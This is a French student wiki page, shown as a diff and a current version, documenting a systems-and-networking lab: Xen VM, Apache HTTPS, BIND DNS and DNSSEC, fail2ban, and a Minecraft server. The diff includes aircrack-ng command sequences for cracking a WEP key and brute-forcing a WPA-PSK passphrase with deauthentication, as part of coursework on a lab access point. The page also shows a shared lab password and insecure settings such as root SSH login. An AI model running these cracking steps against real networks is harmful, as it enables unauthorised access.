TP sysres IMA5 2022/2023 G4 : Différence entre versions
(49 révisions intermédiaires par 2 utilisateurs non affichées) | |||
Ligne 1 : | Ligne 1 : | ||
− | |||
− | |||
− | Les deux premières séances de TP avaient comme but la réinstallation de l'Os sur les machines Zabeth de la selle | + | = Installation de l'OS devuan= |
+ | |||
+ | Les deux premières séances de TP avaient comme but la réinstallation de l'Os sur les machines Zabeth de la selle E306 Nous avons travaille sur des deux zabeth 16 et 8 | ||
Pour réinstaller le système d'exploitation, procédez comme suit : | Pour réinstaller le système d'exploitation, procédez comme suit : | ||
Ligne 36 : | Ligne 36 : | ||
- Proxy : http://proxy.polyetch-lille.fr:3128 | - Proxy : http://proxy.polyetch-lille.fr:3128 | ||
[[Fichier:etape9.png]] | [[Fichier:etape9.png]] | ||
− | |||
− | |||
=Installation de XEN= | =Installation de XEN= | ||
Ligne 43 : | Ligne 41 : | ||
-xen-create-image --ip=193.48.57.108 --gateway=193.48.57.161 --netmask=255.255.255.0 --hostname=dio4 --dist=chimaera --dir=/usr/local/xen/ | -xen-create-image --ip=193.48.57.108 --gateway=193.48.57.161 --netmask=255.255.255.0 --hostname=dio4 --dist=chimaera --dir=/usr/local/xen/ | ||
− | ==Coffre Fort | + | Ensuite, nous avons créé deux LV, chacun de 10 Go sur le groupe de volume de stockage: |
+ | |||
+ | -lvcreate -L10G -n dio4home storage | ||
+ | -lvcreate -L10G -n dio4var storage | ||
+ | |||
+ | nous modifions ensuite notre fichier "/etc/xen/dio4.cfg" pour préciser l'ajout les volumes logiques dio4home et dio4var , de plus on ajoute le bridge bridgeStudents dans la fonction vif. Pour cela on ajoute les lignes suivantes: | ||
+ | |||
+ | name= 'dio4' | ||
+ | # | ||
+ | # Networking | ||
+ | # | ||
+ | vif = [ 'mac=00:16:3E:CB:36:83,bridge=bridgeStudents' ] | ||
+ | disk = [ | ||
+ | 'file:/usr/local/xen/domains/dio4/disk.img,xvda2,w', | ||
+ | 'file:/usr/local/xen/domains/dio4/swap.img,xvda1,w', | ||
+ | 'phy:/dev/storage/dio4home,xvda3,w', | ||
+ | 'phy:/dev/storage/dio4var,xvda4,w' | ||
+ | ] | ||
+ | |||
+ | -xen create /etc/xen/dio4.cfg -c | ||
+ | |||
+ | Afin de faire une repartition nous avons suivi les commades suivantes: | ||
+ | |||
+ | -mount /dev/xvda3 /home | ||
+ | -mount /dev/xvda4 /mnt | ||
+ | -mv /var/* /mnt | ||
+ | -umount /mnt | ||
+ | -mount /dev/xvda4 /var | ||
+ | |||
+ | Nous avons modifier le fichier /etc/network/interfaces afin d'accider a l'internet : | ||
+ | |||
+ | # The primary network interface | ||
+ | auto eth0 | ||
+ | iface eth0 inet static | ||
+ | address 172.26.145.104 | ||
+ | gateway 172.26.145.254 | ||
+ | netmask 255.255.255. | ||
+ | |||
+ | |||
+ | une fois l'acces a l'internet est assure , nous avons geneter notre propre demande de signature de certificat (CSR): | ||
+ | |||
+ | -openssl req -nodes -newkey rsa:2048 -sha256 -keyout myserver.key -out server.csr -utf8 | ||
+ | |||
+ | =Configuration du SSh= | ||
+ | Tout d'abord nous avons modifié en premier temps après avoir être connecté sur la machine virtuelle le fichier sshd_config (/etc/ssh/sshd_config): | ||
+ | |||
+ | -Port 2223 | ||
+ | -PermitRootLogin yes | ||
+ | -PassworddAuthentification yes | ||
+ | Puis : | ||
+ | |||
+ | -systemctl restart ssh | ||
+ | -systemctl status ssh | ||
+ | par consequent nous pouvons se loger a notre VM comme suite : | ||
+ | |||
+ | -ssh root@193.48.57.181 | ||
+ | |||
+ | |||
+ | =Configuration Apache2 HTTP/HTTPS= | ||
+ | On a installé apache2 : | ||
+ | apt install apache2 | ||
+ | Il faut activer le module ssl avec les commandes : | ||
+ | a2enmod ssl | ||
+ | a2ensite default-ssl | ||
+ | service apache2 reload | ||
+ | On a validé la demande d'un certificat TLS pour notre domaine paaasta.site (sur gandi), et on a créé une clé et un fichier CSR qu'on va utiliser dans la partie HTTPS : | ||
+ | apt install openssl | ||
+ | openssl req -nodes -newkey rsa:2048 -sha256 -keyout myserver.key -out server.csr -utf8 | ||
+ | |||
+ | Puis on a créé le fichier /etc/apache2/sites-available/paaasta.site.conf : | ||
+ | |||
+ | <VirtualHost *:80> | ||
+ | ServerName paaasta.site | ||
+ | ServerAlias www.paaasta.site | ||
+ | ServerAdmin webmaster@localhost | ||
+ | DocumentRoot /var/www/paaasta.site/ | ||
+ | <Directory /srv/web/paaasta.site/www> | ||
+ | Options -Indexes +FollowSymLinks +MultiViews | ||
+ | AllowOverride none | ||
+ | Require all granted | ||
+ | </Directory> | ||
+ | ErrorLog /var/log/apache2/error.paaasta.site.log | ||
+ | CustomLog /var/log/apache2/access.paaasta.site.log combined | ||
+ | </VirtualHost> | ||
+ | |||
+ | <VirtualHost *:443> | ||
+ | ServerName paaasta.site | ||
+ | ServerAlias www.paaasta.site | ||
+ | ServerAdmin webmaster@localhost | ||
+ | DocumentRoot /var/www/paaasta.site/ | ||
+ | <Directory /srv/web/paaasta.site/www> | ||
+ | Options -Indexes +FollowSymLinks +MultiViews | ||
+ | AllowOverride none | ||
+ | Require all granted | ||
+ | </Directory> | ||
+ | SSLEngine on | ||
+ | SSLCertificateFile /root/paaasta.site.crt | ||
+ | SSLCertificateKeyFile /root/myserver.key | ||
+ | SSLCertificateChainFile /root/GandiStandardSSLCA2.pem | ||
+ | ErrorLog /var/log/apache2/error.paaasta.site.log | ||
+ | CustomLog /var/log/apache2/access.paaasta.site.log combined | ||
+ | </VirtualHost> | ||
+ | |||
+ | Puis on a exécuté les commandes suivants : | ||
+ | |||
+ | Pour activer notre site : | ||
+ | a2dissite default-ssl.conf | ||
+ | a2ensite paaasta.site.conf | ||
+ | |||
+ | Pour créer le répertoire paaasta.site : | ||
+ | mkdir /var/www/paaasta.site | ||
+ | |||
+ | Pour redémarrer le service apache2 : | ||
+ | service apache2 reload | ||
+ | |||
+ | Maintenant pour personaliser notre page, nous allons créer le ficher index.html dans /var/www/paaasta.site : | ||
+ | |||
+ | |||
+ | <html> | ||
+ | <head> | ||
+ | <title> Paasta </title> | ||
+ | </head> | ||
+ | <body> | ||
+ | <> paaaastaaaaaaa | ||
+ | </body> | ||
+ | </html> | ||
+ | |||
+ | =Configuration du DNS= | ||
+ | On a installé le package bind9 : | ||
+ | |||
+ | bind9 | ||
+ | |||
+ | On a effectué des modifications sur le site gandi.net : | ||
+ | Glue Records | ||
+ | [[Fichier:Glue.png]] | ||
+ | |||
+ | Nameservers | ||
+ | [[Fichier:name.png]] | ||
+ | |||
+ | Dans le fichier /etc/resolv.conf, on a ajouté la ligne : | ||
+ | |||
+ | nameserver 127.0.0.1 | ||
+ | |||
+ | Pour la configuration forward and reverse lookup zones on ajoute les lignes suivants dans le fichier /etc/bind/named.conf.local : | ||
+ | |||
+ | zone "paaasta.site" { | ||
+ | type master; | ||
+ | file "/etc/bind/db.paaasta.site"; | ||
+ | allow-transfer{ 217.70.177.40; }; | ||
+ | notify yes; | ||
+ | }; | ||
+ | zone "57.48.193.in-addr.arpa" { | ||
+ | type master; | ||
+ | file "/etc/bind/db.193.48.57"; | ||
+ | allow-transfer {217.70.177.40; }; | ||
+ | notify yes; | ||
+ | }; | ||
+ | |||
+ | Puis on ajoute les lignes suivants dans le fichier /etc/bind/named.conf.options : | ||
+ | |||
+ | forwarders { | ||
+ | 8.8.8.8; | ||
+ | 4.4.2.2; | ||
+ | }; | ||
+ | |||
+ | recursion yes; | ||
+ | listen-on-v6 { any; }; | ||
+ | listen-on { any; }; | ||
+ | allow-recursion { trusted; }; | ||
+ | allow-transfer{ none; }; | ||
+ | |||
+ | acl "trusted" { | ||
+ | 193.48.57.181; | ||
+ | 217.70.177.40; | ||
+ | }; | ||
+ | On a crée le fichier /etc/bind/db.paaasta.site pour la forward zone : | ||
+ | |||
+ | |||
+ | ; BIND data file for local loopback interface | ||
+ | ; | ||
+ | $TTL 604800 | ||
+ | @ IN SOA ns1.paaasta.site. root.paaasta.site. ( | ||
+ | 3 ; Serial | ||
+ | 604800 ; Refresh | ||
+ | 86400 ; Retry | ||
+ | 2419200 ; Expire | ||
+ | 604800 ) ; Negative Cache TTL | ||
+ | ; | ||
+ | @ IN NS ns1.paaasta.site. | ||
+ | @ IN NS ns6.gandi.net. | ||
+ | @ IN A 193.48.57.181 | ||
+ | @ IN AAAA 2001:660:4401:60b0:216:3eff:fecb:3683 | ||
+ | ns1 IN A 193.48.57.181 | ||
+ | ns1 IN AAAA 2001:660:4401:60b0:216:3eff:fecb:3683 | ||
+ | www IN A 193.48.57.181 | ||
+ | www IN AAAA 2001:660:4401:60b0:216:3eff:fecb:3683 | ||
+ | 127 IN A 193.48.57.181 | ||
+ | |||
+ | et le fichier /etc/bind/db.193.48.57 pour la reverse zone : | ||
+ | |||
+ | ; | ||
+ | ; BIND reverse data file for local loopback interface | ||
+ | ; | ||
+ | $TTL 604800 | ||
+ | @ IN SOA ns1.paaasta.site. root.paaasta.site. ( | ||
+ | 1 ; Serial | ||
+ | 604800 ; Refresh | ||
+ | 86400 ; Retry | ||
+ | 2419200 ; Expire | ||
+ | 604800 ) ; Negative Cache TTL | ||
+ | ;NS records | ||
+ | @ IN NS ns1.paaasta.site. | ||
+ | ;PTR records | ||
+ | 181 IN PTR ns1.paaasta.site. ;193.48.57.181 | ||
+ | |||
+ | Maintenant il ne reste que de redémarrer bind9 : | ||
+ | service named restart | ||
+ | |||
+ | =DNSSEC= | ||
+ | D'abbord, on ajoute ces lignes dans le fichier /etc/bind/named.conf.options : | ||
+ | |||
+ | dnssec-enable yes; | ||
+ | dnssec-validation auto; | ||
+ | |||
+ | Puis, on crée les deux clés dsnsec ksk et zsk | ||
+ | |||
+ | dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE paaasta.site | ||
+ | dnssec-keygen -a RSASHA1 -b 1024 -n ZONE paaasta.site | ||
+ | |||
+ | et on renomme les fichiers ksk et zsk : | ||
+ | |||
+ | mv ./Kpaaasta.site.+005+62111.key ./Kpaaasta.site-ksk.key | ||
+ | mv ./Kpaaasta.site.+005+62111.private ./Kpaaasta.site-ksk.private | ||
+ | mv ./Kpaaasta.site.+005+50707.key ./Kpaaasta.site-zsk.key | ||
+ | mv ./Kpaaasta.site.+005+50707.key ./Kpaaasta.site-zsk.private | ||
+ | mv ./Kpaaasta.site.+005+50707.private ./Kpaaasta.site-zsk.private | ||
+ | |||
+ | On a déplacé ces fichiers dans un répetoire : /etc/bind/paaasta.site.dnssec | ||
+ | |||
+ | On ajoute les lignes suivantes dans le fichier /etc/bind/db.paaasta.site | ||
+ | |||
+ | $INCLUDE "/etc/bind/paaasta.site.dnssec/Kpaaasta.site-zsk.key"; | ||
+ | $INCLUDE "/etc/bind/paaasta.site.dnssec/Kpaaasta.site-ksk.key"; | ||
+ | |||
+ | On signe le fichier de zone : | ||
+ | dnssec-signzone -o paaasta.site -k Kpaaasta.site-ksk.key ../db.paaasta.site Kpaaasta.site-zsk.key | ||
+ | |||
+ | Dans le fichier /etc/bind/named.conf.local on change file "/etc/bind/db.paaasta.site" à "/etc/bind/db.paaasta.site.signed" | ||
+ | |||
+ | =Fail2ban= | ||
+ | On installe le package fail2ban et iptables : | ||
+ | apt install iptables | ||
+ | apt install fail2ban | ||
+ | service fail2ban start | ||
+ | service fail2ban enable | ||
+ | Dans le fichier /etc/fail2ban/jail.d/defaults-debian.conf on active le bannissement sur SSH | ||
+ | |||
+ | [sshd] | ||
+ | enabled = true | ||
+ | maxretry = 5 | ||
+ | findtime = 120 | ||
+ | bantime = 120 | ||
+ | |||
+ | maxretry : nombre de tentatives | ||
+ | findtime : durée en seconds | ||
+ | bantime : le temps de bannissement en seconds | ||
+ | |||
+ | et sur DNS | ||
+ | |||
+ | [named-refused] | ||
+ | enabled = true | ||
+ | |||
+ | |||
+ | On ajoute les lignes suivantes dans /etc/bind/named.conf.options | ||
+ | |||
+ | rate-limit { | ||
+ | responses-per-second 5; | ||
+ | }; | ||
+ | |||
+ | |||
+ | logging { | ||
+ | channel security_file { | ||
+ | file "/var/log/named/security.log" versions 3 size 30m; | ||
+ | severity dynamic; | ||
+ | print-time yes; | ||
+ | }; | ||
+ | category security { | ||
+ | security_file; | ||
+ | }; | ||
+ | }; | ||
+ | On crée le fichier security.log dans /var/log/named | ||
+ | |||
+ | touch /var/log/named/security.log | ||
+ | cd /var/log | ||
+ | chown bind -R named/ | ||
+ | chown bind named/security.log | ||
+ | |||
+ | On redémarre le service fail2ban. | ||
+ | Résultat : | ||
+ | Dans le fichier security.log | ||
+ | |||
+ | 30-Nov-2022 18:32:09.046 client @0x7f57306a5d40 95.181.161.2#45897 (census.gov): query (cache) 'census.gov/ANY/IN' denied | ||
+ | 30-Nov-2022 18:49:47.582 client @0x7f57306a5d40 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied | ||
+ | 30-Nov-2022 19:49:50.966 client @0x7f57306a5d40 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied | ||
+ | 30-Nov-2022 20:49:50.050 client @0x7f573070bb40 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied | ||
+ | 30-Nov-2022 21:49:39.970 client @0x7f573070bb40 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied | ||
+ | 30-Nov-2022 22:14:15.202 client @0x7f57307022e0 167.94.138.120#57497 (ip.parrotdns.com): query (cache) 'ip.parrotdns.com/A/IN' denied | ||
+ | 30-Nov-2022 22:36:09.230 client @0x7f57307022e0 173.214.175.178#33086 (sl): query (cache) 'sl/ANY/IN' denied | ||
+ | 30-Nov-2022 22:49:45.026 client @0x7f57307022e0 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied | ||
+ | 30-Nov-2022 23:49:51.242 client @0x7f57307022e0 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied | ||
+ | 01-Dec-2022 00:49:42.986 client @0x7f57307022e0 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied | ||
+ | |||
+ | =Serveur Minecraft = | ||
+ | |||
+ | Tout d'abord avons installer l’environnement d’exécution minimal OpenJDK-Java qui est obligatoire pour exécuter le serveur d’application Minecraft programmé en Java : | ||
+ | |||
+ | -apt install openjdk-17-jre-headless | ||
+ | |||
+ | Puis nous avons installé l'utilitaire screen : | ||
+ | |||
+ | -apt install screen | ||
+ | |||
+ | L’étape suivante consiste à libérer le port TCP 25565 : | ||
+ | |||
+ | -ufw allow 25565 | ||
+ | |||
+ | Puis nous avons télécharger le serveur d'application Minecraft ( fichier server.jar )par la commande wget. | ||
+ | Après avoir téléchargé le fichier server.jar, on peut exécuter le serveur. Pour ce faire, one doit d'abbord lancer la commande screen. | ||
+ | |||
+ | -screen | ||
+ | |||
+ | Pour lancer le serveur: | ||
+ | |||
+ | -java -Xms1G -Xmx2G -jar server.jar nogui | ||
+ | |||
+ | Si on exécute la commande pour la première fois on obtient un message d'erreur car le fichier eula.txt n’a donc pas pu être chargé (EULA pour End User License Agreement). Donc il faut l'ouvrir et accepter les conditions générales d’utilisation : | ||
+ | |||
+ | -vim eula.txt | ||
+ | |||
+ | Dans le fichier on change eula=false par eula=true. | ||
+ | |||
+ | Maintenant on peut lancer le serveur par la commande: | ||
+ | |||
+ | -java -Xms1G -Xmx2G -jar server.jar nogui | ||
+ | |||
+ | Pour que le serveur reste actif lorsque on se déconnectee du serveur à distance : | ||
+ | |||
+ | -screen -r 32646 | ||
+ | Test : | ||
+ | On a testé le serveur dur le site mcsrvstat.us : | ||
+ | [[Fichier:mine.png]] | ||
+ | Le site nous indique qu'il s'agit bien d'un serveur Minecraft | ||
+ | =Tests d’intrusion= | ||
+ | ==Cassage de clef WEP d’un point d’accès WiFi== | ||
+ | Nous casserons une clé WEP depuis une borne Wi-Fi. Pour cela, nous utilisons le paquet de craquage: aircrack-ng | ||
+ | |||
+ | -sudo apt update | ||
+ | -sudo apt install aircrack-ng | ||
+ | |||
+ | Tout d'abord, nous vérifions l'interface du WiFi en utilisant la commande : | ||
+ | -sudo iw dev | ||
+ | Comme nous voiyons clairement dans la sortie, l'interface WiFi est "wlp1s0". | ||
+ | |||
+ | Après avoir connu l'interface du WiFi, ce que nous devons faire est d'éteindre l'interface WiFi puis de changer son mode de managed à monitor et enfin de remonter le WiFi. Les commandes utilisées pour effectuer cette tâche sont : | ||
+ | |||
+ | -sudo ip link set wlp1s0 down | ||
+ | -sudo iw wlp1s0 set monitor none | ||
+ | -sudo ip link set wlp1s0 up | ||
+ | |||
+ | Vérifions a nouveau status de l'interface du WiFi: | ||
+ | |||
+ | -sudo iwconfig | ||
+ | |||
+ | nous écoutons maintenant les trames Wi-Fi et Puis nous récupèrons le BSSID du cracotte04. | ||
+ | |||
+ | -sudo airodump-ng --encrypt wep wlp1s0 | ||
+ | Testons l'injection de paquets par le dispositif sans fil, Le but de cette étape est de s'assurer que votre carte est à distance de votre AP et peut lui injecter des paquets. | ||
+ | |||
+ | -sudo aireplay-ng -9 -e cracotte014 -a 04:DA:D2:9C:504:50 wlp1s0 | ||
+ | nous lançons airodump-ng pour capturer les IVs: | ||
+ | |||
+ | -airodump-ng -c 4 --bssid 04:DA:D2:9C:54:50 -w output wlp1s0 | ||
+ | |||
+ | ensuite nous utilisons aireplay-ng pour faire une fausse authentification avec le point d'accès. | ||
+ | |||
+ | -aireplay-ng -11 0 -e cracotte04 -a 04:DA:D2:9C:54:50 -h 40:A5:EF:01:21:80 wlp1s0 | ||
+ | |||
+ | finalement nous lançons l'algorithme de craquage pour obtenir la clé WEP : | ||
+ | |||
+ | -aircrack-ng -b 04:DA:D2:9C:54:50 output*.cap | ||
+ | |||
+ | ==Cassage de mot de passe WPA-PSK par force brute== | ||
+ | -sudo airmon-ng check kill | ||
+ | -sudo airmon-ng start wlan0 | ||
+ | -sudo airodump-ng wlp1s0 | ||
+ | -sudo airodump-ng -w ayoub -c 11 --bssid 04:DA:D2:9C:54:50 wlp1s0 | ||
+ | -sudo aireplay-ng --deauth 0 -a 9E:AD:AC:1E:98:15 wlp1s0 | ||
+ | -airmon-ng stop wlp1s0 | ||
+ | -aircrack-ng ayoub-01.cap -w worldlist.txt | ||
+ | |||
+ | au cas de blockage après le stop redémarre le network manager: | ||
+ | -sudo systemctl restart NetworkManager | ||
+ | |||
+ | =Coffre Fort= | ||
[[Fichier:version0.zip]] | [[Fichier:version0.zip]] | ||
+ | |||
+ | [[Fichier:version1.zip]] | ||
+ | |||
+ | [[Fichier:version2.zip]] |
Version actuelle datée du 11 décembre 2022 à 00:08
Sommaire
Installation de l'OS devuan
Les deux premières séances de TP avaient comme but la réinstallation de l'Os sur les machines Zabeth de la selle E306 Nous avons travaille sur des deux zabeth 16 et 8
Pour réinstaller le système d'exploitation, procédez comme suit :
1️⃣-->| Récupérer le fichier de la distribution (.iso) : fichier .iso
2️⃣-->| Rendre la clé bootable: - Ouvrez le Terminal - Identifiez le nom de la clé USB (ex. : sda) : lsblk -S - Démontez toutes les partitions de la clé USB (remplacez X par la lettre attribuée à votre clé USB) : umount /dev/sdX?* - Flasher l’image ISO sur la clé USB : sudo dd if=/chemin/vers/image.iso of=/dev/sdX bs=4M status=progress conv=fdatasync
3️⃣-->| Redémarrez la machine, puis démarrez sur la clé USB, en suivant les étapes de configuration indiquées sur les photos ci-dessus. - IP machine : 172.26.145.50+n°zabeth/24
- Adresse routeur (Gateway) 172.26.145.254
- Server dns = 193.48.57.48
- Nom du domaine
- Password : glopglop
- Partition de disks
- Proxy : http://proxy.polyetch-lille.fr:3128
Installation de XEN
-ssh root@capbreton.plil.info -xen-create-image --ip=193.48.57.108 --gateway=193.48.57.161 --netmask=255.255.255.0 --hostname=dio4 --dist=chimaera --dir=/usr/local/xen/
Ensuite, nous avons créé deux LV, chacun de 10 Go sur le groupe de volume de stockage:
-lvcreate -L10G -n dio4home storage -lvcreate -L10G -n dio4var storage
nous modifions ensuite notre fichier "/etc/xen/dio4.cfg" pour préciser l'ajout les volumes logiques dio4home et dio4var , de plus on ajoute le bridge bridgeStudents dans la fonction vif. Pour cela on ajoute les lignes suivantes:
name= 'dio4' # # Networking # vif = [ 'mac=00:16:3E:CB:36:83,bridge=bridgeStudents' ] disk = [ 'file:/usr/local/xen/domains/dio4/disk.img,xvda2,w', 'file:/usr/local/xen/domains/dio4/swap.img,xvda1,w', 'phy:/dev/storage/dio4home,xvda3,w', 'phy:/dev/storage/dio4var,xvda4,w' ]
-xen create /etc/xen/dio4.cfg -c
Afin de faire une repartition nous avons suivi les commades suivantes:
-mount /dev/xvda3 /home -mount /dev/xvda4 /mnt -mv /var/* /mnt -umount /mnt -mount /dev/xvda4 /var
Nous avons modifier le fichier /etc/network/interfaces afin d'accider a l'internet :
# The primary network interface auto eth0 iface eth0 inet static address 172.26.145.104 gateway 172.26.145.254 netmask 255.255.255.
une fois l'acces a l'internet est assure , nous avons geneter notre propre demande de signature de certificat (CSR):
-openssl req -nodes -newkey rsa:2048 -sha256 -keyout myserver.key -out server.csr -utf8
Configuration du SSh
Tout d'abord nous avons modifié en premier temps après avoir être connecté sur la machine virtuelle le fichier sshd_config (/etc/ssh/sshd_config):
-Port 2223 -PermitRootLogin yes -PassworddAuthentification yes
Puis :
-systemctl restart ssh -systemctl status ssh
par consequent nous pouvons se loger a notre VM comme suite :
-ssh root@193.48.57.181
Configuration Apache2 HTTP/HTTPS
On a installé apache2 :
apt install apache2
Il faut activer le module ssl avec les commandes :
a2enmod ssl a2ensite default-ssl service apache2 reload
On a validé la demande d'un certificat TLS pour notre domaine paaasta.site (sur gandi), et on a créé une clé et un fichier CSR qu'on va utiliser dans la partie HTTPS :
apt install openssl openssl req -nodes -newkey rsa:2048 -sha256 -keyout myserver.key -out server.csr -utf8
Puis on a créé le fichier /etc/apache2/sites-available/paaasta.site.conf :
<VirtualHost *:80> ServerName paaasta.site ServerAlias www.paaasta.site ServerAdmin webmaster@localhost DocumentRoot /var/www/paaasta.site/ <Directory /srv/web/paaasta.site/www> Options -Indexes +FollowSymLinks +MultiViews AllowOverride none Require all granted </Directory> ErrorLog /var/log/apache2/error.paaasta.site.log CustomLog /var/log/apache2/access.paaasta.site.log combined </VirtualHost>
<VirtualHost *:443> ServerName paaasta.site ServerAlias www.paaasta.site ServerAdmin webmaster@localhost DocumentRoot /var/www/paaasta.site/ <Directory /srv/web/paaasta.site/www> Options -Indexes +FollowSymLinks +MultiViews AllowOverride none Require all granted </Directory> SSLEngine on SSLCertificateFile /root/paaasta.site.crt SSLCertificateKeyFile /root/myserver.key SSLCertificateChainFile /root/GandiStandardSSLCA2.pem ErrorLog /var/log/apache2/error.paaasta.site.log CustomLog /var/log/apache2/access.paaasta.site.log combined </VirtualHost>
Puis on a exécuté les commandes suivants :
Pour activer notre site : a2dissite default-ssl.conf a2ensite paaasta.site.conf Pour créer le répertoire paaasta.site : mkdir /var/www/paaasta.site
Pour redémarrer le service apache2 : service apache2 reload
Maintenant pour personaliser notre page, nous allons créer le ficher index.html dans /var/www/paaasta.site :
<html> <head> <title> Paasta </title> </head> <body> <> paaaastaaaaaaa </body> </html>
Configuration du DNS
On a installé le package bind9 :
bind9
On a effectué des modifications sur le site gandi.net :
Glue Records
Nameservers
Dans le fichier /etc/resolv.conf, on a ajouté la ligne :
nameserver 127.0.0.1
Pour la configuration forward and reverse lookup zones on ajoute les lignes suivants dans le fichier /etc/bind/named.conf.local :
zone "paaasta.site" { type master; file "/etc/bind/db.paaasta.site"; allow-transfer{ 217.70.177.40; }; notify yes; }; zone "57.48.193.in-addr.arpa" { type master; file "/etc/bind/db.193.48.57"; allow-transfer {217.70.177.40; }; notify yes; };
Puis on ajoute les lignes suivants dans le fichier /etc/bind/named.conf.options :
forwarders { 8.8.8.8; 4.4.2.2; };
recursion yes; listen-on-v6 { any; }; listen-on { any; }; allow-recursion { trusted; }; allow-transfer{ none; };
acl "trusted" { 193.48.57.181; 217.70.177.40; };
On a crée le fichier /etc/bind/db.paaasta.site pour la forward zone :
; BIND data file for local loopback interface ; $TTL 604800 @ IN SOA ns1.paaasta.site. root.paaasta.site. ( 3 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.paaasta.site. @ IN NS ns6.gandi.net. @ IN A 193.48.57.181 @ IN AAAA 2001:660:4401:60b0:216:3eff:fecb:3683 ns1 IN A 193.48.57.181 ns1 IN AAAA 2001:660:4401:60b0:216:3eff:fecb:3683 www IN A 193.48.57.181 www IN AAAA 2001:660:4401:60b0:216:3eff:fecb:3683 127 IN A 193.48.57.181
et le fichier /etc/bind/db.193.48.57 pour la reverse zone :
; ; BIND reverse data file for local loopback interface ; $TTL 604800 @ IN SOA ns1.paaasta.site. root.paaasta.site. ( 1 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ;NS records @ IN NS ns1.paaasta.site. ;PTR records 181 IN PTR ns1.paaasta.site. ;193.48.57.181
Maintenant il ne reste que de redémarrer bind9 :
service named restart
DNSSEC
D'abbord, on ajoute ces lignes dans le fichier /etc/bind/named.conf.options :
dnssec-enable yes; dnssec-validation auto;
Puis, on crée les deux clés dsnsec ksk et zsk
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE paaasta.site dnssec-keygen -a RSASHA1 -b 1024 -n ZONE paaasta.site
et on renomme les fichiers ksk et zsk :
mv ./Kpaaasta.site.+005+62111.key ./Kpaaasta.site-ksk.key mv ./Kpaaasta.site.+005+62111.private ./Kpaaasta.site-ksk.private mv ./Kpaaasta.site.+005+50707.key ./Kpaaasta.site-zsk.key mv ./Kpaaasta.site.+005+50707.key ./Kpaaasta.site-zsk.private mv ./Kpaaasta.site.+005+50707.private ./Kpaaasta.site-zsk.private
On a déplacé ces fichiers dans un répetoire : /etc/bind/paaasta.site.dnssec
On ajoute les lignes suivantes dans le fichier /etc/bind/db.paaasta.site
$INCLUDE "/etc/bind/paaasta.site.dnssec/Kpaaasta.site-zsk.key"; $INCLUDE "/etc/bind/paaasta.site.dnssec/Kpaaasta.site-ksk.key";
On signe le fichier de zone :
dnssec-signzone -o paaasta.site -k Kpaaasta.site-ksk.key ../db.paaasta.site Kpaaasta.site-zsk.key
Dans le fichier /etc/bind/named.conf.local on change file "/etc/bind/db.paaasta.site" à "/etc/bind/db.paaasta.site.signed"
Fail2ban
On installe le package fail2ban et iptables :
apt install iptables apt install fail2ban service fail2ban start service fail2ban enable
Dans le fichier /etc/fail2ban/jail.d/defaults-debian.conf on active le bannissement sur SSH
[sshd] enabled = true maxretry = 5 findtime = 120 bantime = 120
maxretry : nombre de tentatives findtime : durée en seconds bantime : le temps de bannissement en seconds
et sur DNS
[named-refused] enabled = true
On ajoute les lignes suivantes dans /etc/bind/named.conf.options
rate-limit { responses-per-second 5; };
logging { channel security_file { file "/var/log/named/security.log" versions 3 size 30m; severity dynamic; print-time yes; }; category security { security_file; }; };
On crée le fichier security.log dans /var/log/named
touch /var/log/named/security.log cd /var/log chown bind -R named/ chown bind named/security.log
On redémarre le service fail2ban. Résultat : Dans le fichier security.log
30-Nov-2022 18:32:09.046 client @0x7f57306a5d40 95.181.161.2#45897 (census.gov): query (cache) 'census.gov/ANY/IN' denied 30-Nov-2022 18:49:47.582 client @0x7f57306a5d40 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied 30-Nov-2022 19:49:50.966 client @0x7f57306a5d40 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied 30-Nov-2022 20:49:50.050 client @0x7f573070bb40 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied 30-Nov-2022 21:49:39.970 client @0x7f573070bb40 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied 30-Nov-2022 22:14:15.202 client @0x7f57307022e0 167.94.138.120#57497 (ip.parrotdns.com): query (cache) 'ip.parrotdns.com/A/IN' denied 30-Nov-2022 22:36:09.230 client @0x7f57307022e0 173.214.175.178#33086 (sl): query (cache) 'sl/ANY/IN' denied 30-Nov-2022 22:49:45.026 client @0x7f57307022e0 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied 30-Nov-2022 23:49:51.242 client @0x7f57307022e0 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied 01-Dec-2022 00:49:42.986 client @0x7f57307022e0 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied
Serveur Minecraft
Tout d'abord avons installer l’environnement d’exécution minimal OpenJDK-Java qui est obligatoire pour exécuter le serveur d’application Minecraft programmé en Java :
-apt install openjdk-17-jre-headless
Puis nous avons installé l'utilitaire screen :
-apt install screen
L’étape suivante consiste à libérer le port TCP 25565 :
-ufw allow 25565
Puis nous avons télécharger le serveur d'application Minecraft ( fichier server.jar )par la commande wget. Après avoir téléchargé le fichier server.jar, on peut exécuter le serveur. Pour ce faire, one doit d'abbord lancer la commande screen.
-screen
Pour lancer le serveur:
-java -Xms1G -Xmx2G -jar server.jar nogui
Si on exécute la commande pour la première fois on obtient un message d'erreur car le fichier eula.txt n’a donc pas pu être chargé (EULA pour End User License Agreement). Donc il faut l'ouvrir et accepter les conditions générales d’utilisation :
-vim eula.txt
Dans le fichier on change eula=false par eula=true.
Maintenant on peut lancer le serveur par la commande:
-java -Xms1G -Xmx2G -jar server.jar nogui
Pour que le serveur reste actif lorsque on se déconnectee du serveur à distance :
-screen -r 32646
Test : On a testé le serveur dur le site mcsrvstat.us :
Le site nous indique qu'il s'agit bien d'un serveur Minecraft
Tests d’intrusion
Cassage de clef WEP d’un point d’accès WiFi
